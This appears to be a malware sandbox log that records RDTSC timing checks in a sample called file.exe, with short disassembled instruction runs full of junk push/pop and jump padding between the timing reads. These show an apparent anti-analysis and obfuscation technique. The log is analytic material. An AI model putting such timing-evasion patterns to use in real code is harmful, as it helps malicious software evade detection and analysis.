Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103F211 second address: 103F21F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103F38B second address: 103F396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103F396 second address: 103F39A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103F6D0 second address: 103F6FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007FD18CD363C2h 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103F6FB second address: 103F705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD18CB18666h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103F705 second address: 103F709 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103F709 second address: 103F715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103F8A1 second address: 103F8B9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD18CD363BEh 0x00000008 je 00007FD18CD363BEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103F8B9 second address: 103F8EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jne 00007FD18CB18666h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007FD18CB18677h 0x0000001b jns 00007FD18CB18666h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103FA23 second address: 103FA3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD18CD363C1h 0x0000000b popad 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10441FF second address: 1044205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1044205 second address: 104420A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10474B6 second address: 10474BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10474BA second address: 10474C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10474C8 second address: 10474D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FD18CB18666h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104A2BF second address: 104A2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104A2C3 second address: 104A2C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104D1ED second address: 104D1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD18CD363BAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1050A22 second address: 1050A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1050A26 second address: 1050A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1050A2C second address: 1050A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ecx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1055B55 second address: 1055B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1055B59 second address: 1055B69 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD18CB18666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1055B69 second address: 1055B93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363BFh 0x00000007 jmp 00007FD18CD363BDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 jp 00007FD18CD363B6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10555C6 second address: 10555CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10555CA second address: 10555E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD18CD363C4h 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10555E8 second address: 10555F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jo 00007FD18CB18672h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10555F7 second address: 1055616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD18CD363B6h 0x0000000a pushad 0x0000000b jmp 00007FD18CD363C0h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105A352 second address: 105A374 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB1866Bh 0x00000007 jmp 00007FD18CB18673h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105A374 second address: 105A396 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105A396 second address: 105A39B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105A39B second address: 105A3A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105A4CA second address: 105A4CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105A4CE second address: 105A4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105A637 second address: 105A63D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105A63D second address: 105A69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FD18CD363CAh 0x0000000b jmp 00007FD18CD363C2h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007FD18CD363C6h 0x00000019 jp 00007FD18CD363B6h 0x0000001f popad 0x00000020 pushad 0x00000021 je 00007FD18CD363B6h 0x00000027 jmp 00007FD18CD363C3h 0x0000002c jc 00007FD18CD363B6h 0x00000032 popad 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1005116 second address: 1005140 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB18673h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD18CB18670h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1005140 second address: 10051D3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD18CD363B8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007FD18CD363B8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov dword ptr [ebp+1244CB9Fh], edx 0x0000002d mov edx, dword ptr [ebp+122D1921h] 0x00000033 mov ebx, dword ptr [ebp+1248A1A8h] 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007FD18CD363B8h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 add dx, 0DE4h 0x00000058 pushad 0x00000059 mov esi, dword ptr [ebp+12452EDEh] 0x0000005f or dword ptr [ebp+122D2006h], ecx 0x00000065 popad 0x00000066 add eax, ebx 0x00000068 pushad 0x00000069 jmp 00007FD18CD363C7h 0x0000006e mov dh, FFh 0x00000070 popad 0x00000071 push eax 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 push edx 0x00000076 pop edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10051D3 second address: 10051E0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD18CB18666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105A93B second address: 105A93F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1061511 second address: 106152C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD18CB18675h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106152C second address: 1061563 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007FD18CD363B6h 0x00000009 js 00007FD18CD363B6h 0x0000000f pop edi 0x00000010 js 00007FD18CD363B8h 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a js 00007FD18CD363DEh 0x00000020 push ebx 0x00000021 jmp 00007FD18CD363C4h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1061AFB second address: 1061B00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1061E40 second address: 1061EA7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD18CD363B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jo 00007FD18CD363B6h 0x00000015 popad 0x00000016 jmp 00007FD18CD363C0h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007FD18CD363C2h 0x00000024 pushad 0x00000025 popad 0x00000026 jmp 00007FD18CD363C0h 0x0000002b jmp 00007FD18CD363C0h 0x00000030 popad 0x00000031 jp 00007FD18CD363B8h 0x00000037 push ecx 0x00000038 pop ecx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1062148 second address: 106214C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106214C second address: 106216F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD18CD363B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007FD18CD363C9h 0x00000010 jmp 00007FD18CD363C1h 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106216F second address: 1062175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1062175 second address: 106217B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106217B second address: 106217F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1062439 second address: 1062443 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD18CD363B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1062443 second address: 106244C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106275E second address: 106277F instructions: 0x00000000 rdtsc 0x00000002 je 00007FD18CD363C5h 0x00000008 push ebx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1068342 second address: 1068347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1068347 second address: 1068361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FD18CD363B6h 0x0000000a jmp 00007FD18CD363C0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106C1E9 second address: 106C1EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106B477 second address: 106B481 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD18CD363B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106B5F3 second address: 106B627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FD18CB1866Ah 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jbe 00007FD18CB18666h 0x00000016 jmp 00007FD18CB18677h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106B627 second address: 106B62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106B62C second address: 106B65F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD18CB1866Ah 0x00000008 pushad 0x00000009 jmp 00007FD18CB18670h 0x0000000e jmp 00007FD18CB18674h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106B781 second address: 106B785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106B785 second address: 106B791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106BA7C second address: 106BA80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106BC37 second address: 106BC3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106BDA3 second address: 106BDA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1073D43 second address: 1073D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1072B3A second address: 1072B4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1072CA1 second address: 1072CA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1072CA5 second address: 1072CAF instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD18CD363B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1072CAF second address: 1072CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FD18CB18677h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1072CD0 second address: 1072CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1072CD4 second address: 1072CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1073BE2 second address: 1073BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1073BE8 second address: 1073BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1073BF3 second address: 1073BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1073BF7 second address: 1073C0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB1866Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1073C0B second address: 1073C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107C862 second address: 107C869 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10840E6 second address: 10840EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108BFE1 second address: 108BFE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108BFE8 second address: 108BFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108BB15 second address: 108BB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108FC58 second address: 108FC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108FC5C second address: 108FC60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108FC60 second address: 108FC66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108FC66 second address: 108FC6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109BAE6 second address: 109BAF0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD18CD363B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A820C second address: 10A8214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6E4C second address: 10A6E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6E53 second address: 10A6E75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB18672h 0x00000007 jg 00007FD18CB18672h 0x0000000d jnp 00007FD18CB18666h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6F84 second address: 10A6F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6F8F second address: 10A6FB5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD18CB1866Eh 0x0000000d jmp 00007FD18CB18670h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6FB5 second address: 10A6FB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6FB9 second address: 10A6FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD18CB18670h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD18CB1866Bh 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6FDE second address: 10A6FE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A7442 second address: 10A7446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A7446 second address: 10A745E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD18CD363C2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A757A second address: 10A7580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
